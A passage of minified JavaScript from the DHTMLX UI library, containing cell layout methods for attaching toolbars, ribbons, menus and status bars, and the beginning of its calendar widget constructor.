this.dataNodes.menu};dhtmlXCellTop.prototype.detachMenu=function(){if(this.dataNodes.menu==null){return}this.dataNodes.menu.unload();this.dataNodes.menu=null;this.dataNodes.menuObj.parentNode.removeChild(this.dataNodes.menuObj);this.dataNodes.menuObj=null;this.detachEvent(this.dataNodes.menuEv);this.dataNodes.menuEv=null;delete this.dataNodes.menu;delete this.dataNodes.menuObj;delete this.dataNodes.menuEv;this.conf.ofs_nodes.t.menuObj=false;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachToolbar=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.dataNodes.toolbarObj=document.createElement(\"DIV\");this.dataNodes.toolbarObj.className=\"dhxcelltop_toolbar\";this.base.insertBefore(this.dataNodes.toolbarObj,this.cont);this.dataNodes.toolbarObj.appendChild(document.createElement(\"DIV\"));if(typeof(a)!=\"object\"||a==null){a={}}a.skin=this.conf.skin;a.parent=this.dataNodes.toolbarObj.firstChild;this.dataNodes.toolbar=new dhtmlXToolbarObject(a);this.dataNodes.toolbarEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.toolbarObj.style.display==\"none\"){return}this.dataNodes.toolbarObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.toolbarObj.style.marginTop=(this.dataNodes.haObj!=null||this.dataNodes.menuObj!=null?0:this.conf.ofs.t)+\"px\";this.dataNodes.toolbarObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.dataNodes.toolbar._masterCell=this;this.dataNodes.toolbar.attachEvent(\"_onIconSizeChange\",function(){this._masterCell.setSizes()});this.conf.ofs_nodes.t.toolbarObj=true;this.setSizes();a.parnt=null;a=null;return this.dataNodes.toolbar};dhtmlXCellTop.prototype.detachToolbar=function(){if(this.dataNodes.toolbar==null){return}this.dataNodes.toolbar._masterCell=null;this.dataNodes.toolbar.unload();this.dataNodes.toolbar=null;this.dataNodes.toolbarObj.parentNode.removeChild(this.dataNodes.toolbarObj);this.dataNodes.toolbarObj=null;this.detachEvent(this.dataNodes.toolbarEv);this.dataNodes.toolbarEv=null;this.conf.ofs_nodes.t.toolbarObj=false;delete this.dataNodes.toolbar;delete this.dataNodes.toolbarObj;delete this.dataNodes.toolbarEv;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachRibbon=function(a){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null)){return}this.dataNodes.ribbonObj=document.createElement(\"DIV\");this.dataNodes.ribbonObj.className=\"dhxcelltop_ribbon\";this.base.insertBefore(this.dataNodes.ribbonObj,this.cont);this.dataNodes.ribbonObj.appendChild(document.createElement(\"DIV\"));if(typeof(a)!=\"object\"||a==null){a={}}a.skin=this.conf.skin;a.parent=this.dataNodes.ribbonObj.firstChild;this.dataNodes.ribbon=new dhtmlXRibbon(a);this.dataNodes.ribbonEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.ribbonObj.style.display==\"none\"){return}this.dataNodes.ribbonObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.ribbonObj.style.marginTop=(this.dataNodes.haObj!=null||this.dataNodes.menuObj!=null?0:this.conf.ofs.t)+\"px\";this.dataNodes.ribbonObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\";this.dataNodes.ribbon.setSizes()});this.conf.ofs_nodes.t.ribbonObj=true;var c=this;this.dataNodes.ribbon.attachEvent(\"_onHeightChanged\",function(){c.setSizes()});this.setSizes();a.parnt=null;a=null;return this.dataNodes.ribbon};dhtmlXCellTop.prototype.detachRibbon=function(){if(this.dataNodes.ribbon==null){return}this.dataNodes.ribbon.unload();this.dataNodes.ribbon=null;this.dataNodes.ribbonObj.parentNode.removeChild(this.dataNodes.ribbonObj);this.dataNodes.ribbonObj=null;this.detachEvent(this.dataNodes.ribbonEv);this.dataNodes.ribbonEv=null;this.conf.ofs_nodes.t.ribbonObj=false;delete this.dataNodes.ribbon;delete this.dataNodes.ribbonObj;delete this.dataNodes.ribbonEv;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachStatusBar=function(a){if(this.dataNodes.sbObj){return}if(typeof(a)==\"undefined\"){a={}}this.dataNodes.sbObj=document.createElement(\"DIV\");this.dataNodes.sbObj.className=\"dhxcelltop_statusbar\";if(this.cont.nextSibling!=null){this.base.insertBefore(this.dataNodes.sbObj,this.cont.nextSibling)}else{this.base.appendChild(this.dataNodes.sbObj)}this.dataNodes.sbObj.innerHTML=\"<div class='dhxcont_statusbar'>\"+(typeof(a.text)==\"string\"&&a.text.length>0?a.text:\"&nbsp;\")+\"</div>\";if(typeof(a.height)==\"number\"){this.dataNodes.sbObj.firstChild.style.height=this.dataNodes.sbObj.firstChild.style.lineHeight=a.height+\"px\"}this.dataNodes.sbObj.setText=function(c){this.childNodes[0].innerHTML=c};this.dataNodes.sbObj.getText=function(){return this.childNodes[0].innerHTML};this.dataNodes.sbObj.onselectstart=function(c){return false};this.dataNodes.sbEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.sbObj.style.display==\"none\"){return}this.dataNodes.sbObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.sbObj.style.bottom=(this.dataNodes.faObj!=null?this.dataNodes.faObj.offsetHeight:0)+this.conf.ofs.t+\"px\";this.dataNodes.sbObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.conf.ofs_nodes.b.sbObj=true;this.setSizes();return this.dataNodes.sbObj};dhtmlXCellTop.prototype.detachStatusBar=function(){if(!this.dataNodes.sbObj){return}this.dataNodes.sbObj.setText=this.dataNodes.sbObj.getText=this.dataNodes.sbObj.onselectstart=null;this.dataNodes.sbObj.parentNode.removeChild(this.dataNodes.sbObj);this.dataNodes.sbObj=null;this.detachEvent(this.dataNodes.sbEv);this.dataNodes.sbEv=null;this.conf.ofs_nodes.b.sbObj=false;delete this.dataNodes.sb;delete this.dataNodes.sbObj;delete this.dataNodes.sbEv;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.showMenu=function(){this._mtbShowHide(\"menuObj\",\"\")};dhtmlXCellTop.prototype.hideMenu=function(){this._mtbShowHide(\"menuObj\",\"none\")};dhtmlXCellTop.prototype.showToolbar=function(){this._mtbShowHide(\"toolbarObj\",\"\")};dhtmlXCellTop.prototype.hideToolbar=function(){this._mtbShowHide(\"toolbarObj\",\"none\")};dhtmlXCellTop.prototype.showRibbon=function(){this._mtbShowHide(\"ribbonObj\",\"\")};dhtmlXCellTop.prototype.hideRibbon=function(){this._mtbShowHide(\"ribbonObj\",\"none\")};dhtmlXCellTop.prototype.showStatusBar=function(){this._mtbShowHide(\"sbObj\",\"\")};dhtmlXCellTop.prototype.hideStatusBar=function(){this._mtbShowHide(\"sbObj\",\"none\")};dhtmlXCellTop.prototype._mtbShowHide=function(c,a){if(this.dataNodes[c]==null){return}this.dataNodes[c].style.display=a;this.setSizes()};dhtmlXCellTop.prototype._mtbUnload=function(c,a){this.detachMenu();this.detachToolbar();this.detachStatusBar();this.detachRibbon()};dhtmlXCellTop.prototype.getAttachedMenu=function(){return this.dataNodes.menu};dhtmlXCellTop.prototype.getAttachedToolbar=function(){return this.dataNodes.toolbar};dhtmlXCellTop.prototype.getAttachedRibbon=function(){return this.dataNodes.ribbon};dhtmlXCellTop.prototype.getAttachedStatusBar=function(){return this.dataNodes.sbObj};dhtmlXCellTop.prototype.progressOn=function(){if(this.conf.progress){return}this.conf.progress=true;var c=document.createElement(\"DIV\");c.className=\"dhxcelltop_progress\";this.base.appendChild(c);var a=document.createElement(\"DIV\");a.className=\"dhxcelltop_progress_img\";this.base.appendChild(a);c=a=null};dhtmlXCellTop.prototype.progressOff=function(){if(!this.conf.progress){return}var g={dhxcelltop_progress:true,dhxcelltop_progress_img:true};for(var e=0;e<this.base.childNodes.length;e++){if(typeof(this.base.childNodes[e].className)!=\"undefined\"&&g[this.base.childNodes[e].className]==true){g[this.base.childNodes[e].className]=this.base.childNodes[e]}}for(var c in g){if(g[c]!=true){this.base.removeChild(g[c])}g[c]=null}this.conf.progress=false;g=null};dhtmlXCellTop.prototype.attachHeader=function(c,a){if(this.dataNodes.haObj!=null){return}if(typeof(c)!=\"object\"){c=document.getElementById(c)}this.dataNodes.haObj=document.createElement(\"DIV\");this.dataNodes.haObj.className=\"dhxcelltop_hdr\";this.dataNodes.haObj.style.height=(a||c.offsetHeight)+\"px\";this.base.insertBefore(this.dataNodes.haObj,this.dataNodes.menuObj||this.dataNodes.toolbarObj||this.cont);this.dataNodes.haObj.appendChild(c);c.style.visibility=\"visible\";c=null;this.dataNodes.haEv=this.attachEvent(\"_onSetSizes\",function(){this.dataNodes.haObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.haObj.style.marginTop=this.conf.ofs.t+\"px\";this.dataNodes.haObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.conf.ofs_nodes.t.haObj=true;this.setSizes()};dhtmlXCellTop.prototype.detachHeader=function(){if(!this.dataNodes.haObj){return}while(this.dataNodes.haObj.childNodes.length>0){this.dataNodes.haObj.lastChild.style.visibility=\"hidden\";document.body.appendChild(this.dataNodes.haObj.lastChild)}this.dataNodes.haObj.parentNode.removeChild(this.dataNodes.haObj);this.dataNodes.haObj=null;this.detachEvent(this.dataNodes.haEv);this.dataNodes.haEv=null;this.conf.ofs_nodes.t.haObj=false;delete this.dataNodes.haEv;delete this.dataNodes.haObj;if(!this.conf.unloading){this.setSizes()}};dhtmlXCellTop.prototype.attachFooter=function(e,a){if(this.dataNodes.faObj!=null){return}if(typeof(e)!=\"object\"){e=document.getElementById(e)}this.dataNodes.faObj=document.createElement(\"DIV\");this.dataNodes.faObj.className=\"dhxcelltop_ftr\";this.dataNodes.faObj.style.height=(a||e.offsetHeight)+\"px\";var c=(this.dataNodes.sbObj||this.cont);if(this.base.lastChild==c){this.base.appendChild(this.dataNodes.faObj)}else{this.base.insertBefore(this.dataNodes.faObj,c.nextSibling)}this.dataNodes.faEv=this.attachEvent(\"_onSetSizes\",function(){this.dataNodes.faObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.faObj.style.bottom=this.conf.ofs.b+\"px\";this.dataNodes.faObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.dataNodes.faObj.appendChild(e);e.style.visibility=\"visible\";c=e=null;this.conf.ofs_nodes.b.faObj=true;this.setSizes()};dhtmlXCellTop.prototype.detachFooter=function(){if(!this.dataNodes.faObj){return}while(this.dataNodes.faObj.childNodes.length>0){this.dataNodes.faObj.lastChild.style.visibility=\"hidden\";document.body.appendChild(this.dataNodes.faObj.lastChild)}this.dataNodes.faObj.parentNode.removeChild(this.dataNodes.faObj);this.dataNodes.faObj=null;this.detachEvent(this.dataNodes.faEv);this.dataNodes.faEv=null;this.conf.ofs_nodes.b.faObj=false;delete this.dataNodes.faEv;delete this.dataNodes.faObj;if(!this.conf.unloading){this.setSizes()}};function dhtmlXCalendarObject(l,s){this.i={};var e=null;if(typeof(l)==\"string\"){var g=document.getElementById(l)}else{var g=l}if(g&&typeof(g)==\"object\"&&g.tagName&&String(g.tagName).toLowerCase()!=\"input\"){e=g}g=null;if(typeof(l)!=\"object\"||!l.length){l=[l]}for(var c=0;c<l.length;c++){if(typeof(l[c])==\"string\"){l[c]=(document.getElementById(l[c])||null)}if(l[c]!=null&&l[c].tagName&&String(l[c].tagName).toLowerCase()==\"input\"){this.i[window.dhx4.newId()]={input:l[c]}}else{if(!(l[c] instanceof Array)&&l[c] instanceof Object&&(l[c].input!=null||l[c].button!=null)){if(l[c].input!=null&&typeof(l[c].input)==\"string\"){l[c].input=document.getElementById(l[c].input)}if(l[c].button!=null&&typeof(l[c].button)==\"string\"){l[c].button=document.getElementById(l[c].button)}this.i[window.dhx4.newId()]=l[c]}}l[c]=null}this.conf={skin:(s||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhtmlxcalendar\")||\"dhx_skyblue\"),zi:window.dhx4.newId(),touch:!window.dhx4.isIE,ws_first:true};this.setSkin=function(q,a){if(this.conf.skin==q&&!a){return}this.conf.skin=q;this.base.className=\"dhtmlxcalendar_\"+this.conf.skin;this._ifrSize()};this.base=document.createElement(\"DIV\");this.base.style.display=\"none\";this.base.appendChild(document.createElement(\"DIV\"));if(e!=null){this._hasParent=true;e.appendChild(this.base);e=null}else{document.body.appendChild(this.base)}this.setParent=function(a){if(this._hasParent){if(typeof(a)==\"object\"){a.appendChild(this.base)}else{if(typeof(a)==\"string\"){document.getElementById(a).appendChild(this.base)}}}};this.setSkin(this.conf.skin,true);this.base.onclick=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}a.cancelBubble=true};this.base.onmousedown=function(){return false};if(this.conf.touch){this.base.ontouchstart=this.base.onclick}this.loadUserLanguage=function(x){if(!this.langData[x]){return}this.lang=x;this.setWeekStartDay(this.langData[this.lang].weekstart);this.setDateFormat(this.langData[this.lang].dateformat||\"%Y-%m-%d\");if(this.msCont){var v=0;for(var u=0;u<this.msCont.childNodes.length;u++){for(var a=0;a<this.msCont.childNodes[u].childNodes.length;a++){this.msCont.childNodes[u].childNodes[a].innerHTML=this.langData[this.lang].monthesSNames[v++]}}}};this.contMonth=document.createElement(\"DIV\");this.contMonth.className=\"dhtmlxcalendar_month_cont\";this.contMonth.onselectstart=function(a){a=a||event;a.cancelBubble=true;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};this.base.firstChild.appendChild(this.contMonth);var m=document.createElement(\"UL\");m.className=\"dhtmlxcalendar_line\";this.contMonth.appendChild(m);var r=document.createElement(\"LI\");r.className=\"dhtmlxcalendar_cell dhtmlxcalendar_month_hdr\";r.innerHTML=\"<div class='dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_left' onmouseover='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_left_hover\\\";' onmouseout='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_left\\\";'></div><span></span><div class='dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_right' onmouseover='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_right_hover\\\";' onmouseout='this.className=\\\"dhtmlxcalendar_month_arrow dhtmlxcalendar_month_arrow_right\\\";'></div>\";m.appendChild(r);var h=this;r.onclick=function(v){v=v||event;if(v.type==\"touchstart\"&&v.preventDefault!=null){v.preventDefault()}var q=(v.target||v.srcElement);if(q.className&&q.className.indexOf(\"dhtmlxcalendar_month_arrow\")===0){h._hideSelector();var u=(q.parentNode.firstChild==q?-1:1);var a=new Date(h._activeMonth);h._drawMonth(new Date(h._activeMonth.getFullYear(),h._activeMonth.getMonth()+u,1,0,0,0,0));h._evOnArrowClick([a,new Date(h._activeMonth)]);return}if(q.className&&q.className==\"dhtmlxcalendar_month_label_month\"){v.cancelBubble=true;h._showSelector(\"month\",Math.round(q.offsetLeft+q.offsetWidth/2),q.offsetTop+q.offsetHeight+2,\"selector_month\",true);return}if(q.className&&q.className==\"dhtmlxcalendar_month_label_year\"){v.cancelBubble=true;h._showSelector(\"year\",Math.round(q.offsetLeft+q.offsetWidth/2),q.offsetTop+q.offsetHeight+2,\"selector_year\",true);return}h._hideSelector()};if(this.conf.touch==true){r.ontouchstart=r.onclick}this.contDays=document.createElement(\"DIV\");this.contDays.className=\"dhtmlxcalendar_days_cont\";this.base.firstChild.appendChild(this.contDays);this.setWeekStartDay=function(a){if(a==0){a=7}this._wStart=Math.min(Math.max((isNaN(a)?1:a),1),7);this._drawDaysOfWeek()};this._drawDaysOfWeek=function(){if(this.contDays.childNodes.length==0){var x=document.createElement(\"UL\");x.className=\"dhtmlxcalendar_line\";this.contDays.appendChild(x)}else{var x=this.contDays.firstChild}var u=this._wStart;var v=this.langData[this.lang].daysSNames;v.push(String(this.langData[this.lang].daysSNames[0]).valueOf());for(var y=0;y<8;y++){if(x.childNodes[y]==null){var a=document.createElement(\"LI\");x.appendChild(a)}else{var a=x.childNodes[y]}if(y==0){a.className=\"dhtmlxcalendar_cell_wn\";a.innerHTML=\"<div class='dhtmlxcalendar_label'>\"+(this.langData[this.lang].weekname||\"w\")+\"</div>\"}else{a.className=\"dhtmlxcalendar_cell\"+(u>=6?\" dhtmlxcalendar_day_weekday_cell\":\"\")+(y==1?\"_first\":\"\");a.innerHTML=v[u];if(++u>7){u=1}}}if(this._activeMonth!=null){this._drawMonth(this._activeMonth)}};this._wStart=this.langData[this.lang].weekstart;this.setWeekStartDay(this._wStart);this.contDates=document.createElement(\"DIV\");this.contDates.className=\"dhtmlxcalendar_dates_cont\";this.base.firstChild.appendChild(this.contDates);this.contDates.onclick=function(x){x=x||event;if(x.type==\"touchstart\"&&x.preventDefault!=null){x.preventDefault()}var q=(x.target||x.srcElement);if(q.parentNode!=null&&q.parentNode._date!=null){q=q.parentNode}if(q._date!=null&&!q._css_dis){var v=h._activeDate.getHours();var u=h._activeDate.getMinutes();var w=q._date;if(h.checkEvent(\"onBeforeChange\")){if(!h.callEvent(\"onBeforeChange\",[new Date(q._date.getFullYear(),q._date.getMonth(),q._date.getDate(),v,u)])){return}}if(h._activeDateCell!=null){h._activeDateCell._css_date=false;h._updateCellStyle(h._activeDateCell._q,h._activeDateCell._w)}var a=(h._activeDate.getFullYear()+\"_\"+h._activeDate.getMonth()!=w.getFullYear()+\"_\"+w.getMonth());h._nullDate=false;h._activeDate=new Date(w.getFullYear(),w.getMonth(),w.getDate(),v,u);h._activeDateCell=q;h._activeDateCell._css_date=true;h._activeDateCell._css_hover=false;h._updateCellStyle(h._activeDateCell._q,h._activeDateCell._w);if(a){h._drawMonth(h._activeDate)}if(h._activeInp&&h.i[h._activeInp]&&h.i[h._activeInp].input!=null){h.i[h._activeInp].input.value=h._dateToStr(new Date(h._activeDate.getTime()))}if(!h._hasParent){if(x.type==\"touchstart\"){window.setTimeout(function(){h._hide()},400)}else{h._hide()}}h._evOnClick([new Date(h._activeDate.getTime())])}};if(this.conf.touch==true){this.contDates.ontouchstart=this.contDates.onclick}this.contDates.onmouseover=function(q){q=q||event;var a=(q.target||q.srcElement);if(a.parentNode!=null&&a.parentNode._date!=null){a=a.parentNode}if(a._date!=null){if(h._lastHover==a||a._css_hover){return}a._css_hover=true;h._updateCellStyle(a._q,a._w);h._lastHover=a;h._evOnMouseOver([new Date(a._date.getFullYear(),a._date.getMonth(),a._date.getDate(),0,0,0,0),q]);a=null}};this.contDates.onmouseout=function(a){h._clearDayHover(a||event)};this._lastHover=null;this._clearDayHover=function(a){if(!this._lastHover){return}this._lastHover._css_hover=false;this._updateCellStyle(this._lastHover._q,this._lastHover._w);h._evOnMouseOut([new Date(this._lastHover._date.getFullYear(),this._lastHover._date.getMonth(),this._lastHover._date.getDate(),0,0,0,0),a]);this._lastHover=null};for(var c=0;c<6;c++){var m=document.createElement(\"UL\");m.className=\"dhtmlxcalendar_line\";this.contDates.appendChild(m);for(var o=0;o<=7;o++){var r=document.createElement(\"LI\");if(o==0){r.className=\"dhtmlxcalendar_cell_wn\"}else{r.className=\"dhtmlxcalendar_cell\"}m.appendChild(r)}}this.contTime=document.createElement(\"DIV\");this.contTime.className=\"dhtmlxcalendar_time_cont\";this.base.firstChild.appendChild(this.contTime);this.showTime=function(){this.contTime.style.display=\"\";this._ifrSize()};this.hideTime=function(){this.contTime.style.display=\"none\";this._ifrSize()};var m=document.createElement(\"UL\");m.className=\"dhtmlxcalendar_line\";this.contTime.appendChild(m);var r=document.createElement(\"LI\");r.className=\"dhtmlxcalendar_cell dhtmlxcalendar_time_hdr\";r.innerHTML=\"<div class='dhtmlxcalendar_time_img'></div><span class='dhtmlxcalendar_label_hours'></span><span class='dhtmlxcalendar_label_colon'> : </span><span class='dhtmlxcalendar_label_minutes'></span>\";m.appendChild(r);r.onclick=function(u){u=u||event;if(u.type==\"touchstart\"&&u.preventDefault!=null){u.preventDefault()}var a=(u.target||u.srcElement);if(a.tagName!=null&&a.tagName.toLowerCase()==\"span\"&&a._par==true&&a.parentNode!=null){a=a.parentNode}if(a.className&&a.className==\"dhtmlxcalendar_label_hours\"){u.cancelBubble=true;var q=h.contMonth.offsetHeight+h.contDays.offsetHeight+h.contDates.offsetHeight+a.offsetTop;h._showSelector(\"hours\",Math.round(a.offsetLeft+a.offsetWidth/2),q-2,\"selector_hours\",true);return}if(a.className&&a.className==\"dhtmlxcalendar_label_minutes\"){u.cancelBubble=true;if(h._minutesInterval==1){var v=h.getFormatedDate(\"%i\");a.innerHTML=\"<span class='dhtmlxcalendar_selected_date'>\"+v.charAt(0)+\"</span>\"+v.charAt(1);a.firstChild._par=true;h._selectorMode=1}var q=h.contMonth.offsetHeight+h.contDays.offsetHeight+h.contDates.offsetHeight+a.offsetTop;h._showSelector(\"minutes\",Math.round(a.offsetLeft+a.offsetWidth/2),q-2,\"selector_minutes\",true);return}h._hideSelector()};if(this.conf.touch==true){r.ontouchstart=r.onclick}this._activeMonth=null;this._activeDate=new Date();this._activeDateCell=null;this.setDate=function(q){window.dhx4.temp_calendar={tz:null};this._nullDate=(typeof(q)==\"undefined\"||q===\"\"||!q);if(!(q instanceof Date)){q=this._strToDate(String(q||\"\"));if(q==\"Invalid Date\"){q=new Date()}else{this.conf.tz=window.dhx4.temp_calendar.tz}window.dhx4.temp_calendar=null}if(this.conf.tz==null){this.conf.tz=window.dhx4.date2str(q,\"%P\")}var a=q.getTime();if(this._isOutOfRange(a)){return}this._activeDate=new Date(a);this._drawMonth(this._nullDate?new Date():this._activeDate);this._updateVisibleHours();this._updateVisibleMinutes()};this.getDate=function(u){if(this._nullDate){return null}var a=new Date(this._activeDate.getTime());if(u){window.dhx4.temp_calendar={tz:this.conf.tz};var q=this._dateToStr(a);window.dhx4.temp_calendar=null;return q}return a};this._drawMonth=function(F){if(!(F instanceof Date)){return}if(isNaN(F.getFullYear())){F=new Date(this._activeMonth.getFullYear(),this._activeMonth.getMonth(),1,0,0,0,0)}this._activeMonth=new Date(F.getFullYear(),F.getMonth(),1,0,0,0,0);this._activeDateCell=null;var D=new Date(this._activeMonth.getTime());var v=D.getDay();var J=v-this._wStart;if(J<0){J=J+7}D.setDate(D.getDate()-J);var M=F.getMonth();var N=new Date(this._activeDate.getFullYear(),this._activeDate.getMonth(),this._activeDate.getDate(),0,0,0,0).getTime();var A=0;for(var u=0;u<6;u++){var E=this._wStart;for(var L=0;L<=7;L++){if(L==0){var K=this.getWeekNumber(new Date(D.getFullYear(),D.getMonth(),D.getDate()+A,0,0,0,0));if(K>=52&&this.conf.ws_first==true&&this._activeMonth.getMonth()==0){var y=this.getWeekNumber(new Date(D.getFullYear(),D.getMonth(),D.getDate()+A+7,0,0,0,0));if(y<K&&y>1){K=1}}this.contDates.childNodes[u].childNodes[L].innerHTML=\"<div class='dhtmlxcalendar_label'>\"+K+\"</div>\"}else{var a=new Date(D.getFullYear(),D.getMonth(),D.getDate()+A,0,0,0,0);if(a.getHours()!=0){var C=(a.getHours()>12?24-a.getHours():a.getHours());a.setTime(a.getTime()+60*60*1000*C)}var I=a.getDay();var x=a.getTime();var H=\"dhtmlxcalendar_label\";if(this._tipData[x]!=null){if(this._tipData[x].usePopup&&typeof(window.dhtmlXPopup)==\"function\"){this.contDates.childNodes[u].childNodes[L].removeAttribute(\"title\");this._initTooltipPopup()}else{this.contDates.childNodes[u].childNodes[L].setAttribute(\"title\",this._tipData[x].text)}if(this._tipData[x].showIcon){H+=\" dhtmlxcalendar_label_title\"}}else{this.contDates.childNodes[u].childNodes[L].removeAttribute(\"title\")}this.contDates.childNodes[u].childNodes[L].innerHTML=\"<div class='\"+H+\"'>\"+a.getDate()+\"</div>\";this.contDates.childNodes[u].childNodes[L]._date=new Date(x);this.contDates.childNodes[u].childNodes[L]._q=u;this.contDates.childNodes[u].childNodes[L]._w=L;this.contDates.childNodes[u].childNodes[L]._css_month=(a.getMonth()==M);this.contDates.childNodes[u].childNodes[L]._css_date=(!this._nullDate&&x==N);this.contDates.childNodes[u].childNodes[L]._css_weekend=(E>=6);this.contDates.childNodes[u].childNodes[L]._css_dis=this._isOutOfRange(x);this.contDates.childNodes[u].childNodes[L]._css_holiday=(this._holidays[x]==true);this._updateCellStyle(u,L);if(x==N){this._activeDateCell=this.contDates.childNodes[u].childNodes[L]}if(++E>7){E=1}A++}}}this.contMonth.firstChild.firstChild.childNodes[1].innerHTML=this._buildMonthHdr(F)};this._updateCellStyle=function(x,a){var v=this.contDates.childNodes[x].childNodes[a];var u=\"dhtmlxcalendar_cell dhtmlxcalendar_cell\";u+=(v._css_month?\"_month\":\"\");u+=(v._css_date?\"_date\":\"\");u+=(v._css_weekend?\"_weekend\":\"\");u+=(v._css_holiday?\"_holiday\":\"\");u+=(v._css_dis?\"_dis\":\"\");u+=(v._css_hover&&!v._css_dis?\"_hover\":\"\");v.className=u;v=null};this._minutesInterval=5;this._initSelector=function(D,x){if(!this._selCover){this._selCover=document.createElement(\"DIV\");this._selCover.className=\"dhtmlxcalendar_selector_cover\";this.base.firstChild.appendChild(this._selCover)}if(!this._sel){this._sel=document.createElement(\"DIV\");this._sel.className=\"dhtmlxcalendar_selector_obj\";this.base.firstChild.appendChild(this._sel);this._sel.appendChild(document.createElement(\"TABLE\"));this._sel.firstChild.className=\"dhtmlxcalendar_selector_table\";this._sel.firstChild.cellSpacing=0;this._sel.firstChild.cellPadding=0;this._sel.firstChild.border=0;this._sel.firstChild.appendChild(document.createElement(\"TBODY\"));this._sel.firstChild.firstChild.appendChild(document.createElement(\"TR\"));this._sel.firstChild.firstChild.firstChild.appendChild(document.createElement(\"TD\"));this._sel.firstChild.firstChild.firstChild.appendChild(document.createElement(\"TD\"));this._sel.firstChild.firstChild.firstChild.appendChild(document.createElement(\"TD\"));this._sel.firstChild.firstChild.firstChild.childNodes[0].className=\"dhtmlxcalendar_selector_cell_left\";this._sel.firstChild.firstChild.firstChild.childNodes[1].className=\"dhtmlxcalendar_selector_cell_middle\";this._sel.firstChild.firstChild.firstChild.childNodes[2].className=\"dhtmlxcalendar_selector_cell_right\";this._sel.firstChild.firstChild.firstChild.childNodes[0].innerHTML=\"&nbsp;\";this._sel.firstChild.firstChild.firstChild.childNodes[2].innerHTML=\"&nbsp;\";this._sel.firstChild.firstChild.firstChild.childNodes[0].onmouseover=function(){this.className=\"dhtmlxcalendar_selector_cell_left dhtmlxcalendar_selector_cell_left_hover\"};this._sel.firstChild.firstChild.firstChild.childNodes[0].onmouseout=function(){this.className=\"dhtmlxcalendar_selector_cell_left\"};this._sel.firstChild.firstChild.firstChild.childNodes[2].onmouseover=function(){this.className=\"dhtmlxcalendar_selector_cell_right dhtmlxcalendar_selector_cell_right_hover\"};this._sel.firstChild.firstChild.firstChild.childNodes[2].onmouseout=function(){this.className=\"dhtmlxcalendar_selector_cell_right\"};this._sel.onmouseover=function(w){w=w||event;var q=(w.target||w.srcElement);if(q._cell===true){if(h._selHover!=q){h._clearSelHover()}if(String(q.className).match(/^\\s{0,}dhtmlxcalendar_selector_cell\\s{0,}$/gi)!=null){q.className+=\" dhtmlxcalendar_selector_cell_hover\";h._selHover=q}}};this._sel.onmouseout=function(){h._clearSelHover()};this._sel.firstChild.firstChild.firstChild.childNodes[0].onclick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}q.cancelBubble=true;h._scrollYears(-1)};this._sel.firstChild.firstChild.firstChild.childNodes[2].onclick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}q.cancelBubble=true;h._scrollYears(1)};if(this.conf.touch==true){this._sel.firstChild.firstChild.firstChild.childNodes[0].ontouchstart=this._sel.firstChild.firstChild.firstChild.childNodes[0].onclick;this._sel.firstChild.firstChild.firstChild.childNodes[2].ontouchstart=this._sel.firstChild.firstChild.firstChild.childNodes[2].onclick}this._sel._ta={};this._selHover=null;this._sel.appendChild(document.createElement(\"DIV\"));this._sel.lastChild.className=\"dhtmlxcalendar_selector_obj_arrow\"}if(this._sel._ta[D]==true){return}if(D==\"month\"){this._msCells={};this.msCont=document.createElement(\"DIV\");this.msCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.msCont);var u=0;for(var a=0;a<4;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.msCont.appendChild(C);for(var E=0;E<3;E++){var F=document.createElement(\"LI\");F.innerHTML=this.langData[this.lang].monthesSNames[u];F.className=\"dhtmlxcalendar_selector_cell\";C.appendChild(F);F._month=u;F._cell=true;this._msCells[u++]=F}}this.msCont.onclick=function(w){w=w||event;if(w.type==\"touchstart\"&&w.preventDefault!=null){w.preventDefault()}w.cancelBubble=true;var q=(w.target||w.srcElement);if(q._month!=null){h._hideSelector();h._updateActiveMonth();h._drawMonth(new Date(h._activeMonth.getFullYear(),q._month,1,0,0,0,0));h._doOnSelectorChange()}};if(this.conf.touch==true){this.msCont.ontouchstart=this.msCont.onclick}}if(D==\"year\"){this._ysCells={};this.ysCont=document.createElement(\"DIV\");this.ysCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.ysCont);for(var a=0;a<4;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.ysCont.appendChild(C);for(var E=0;E<3;E++){var 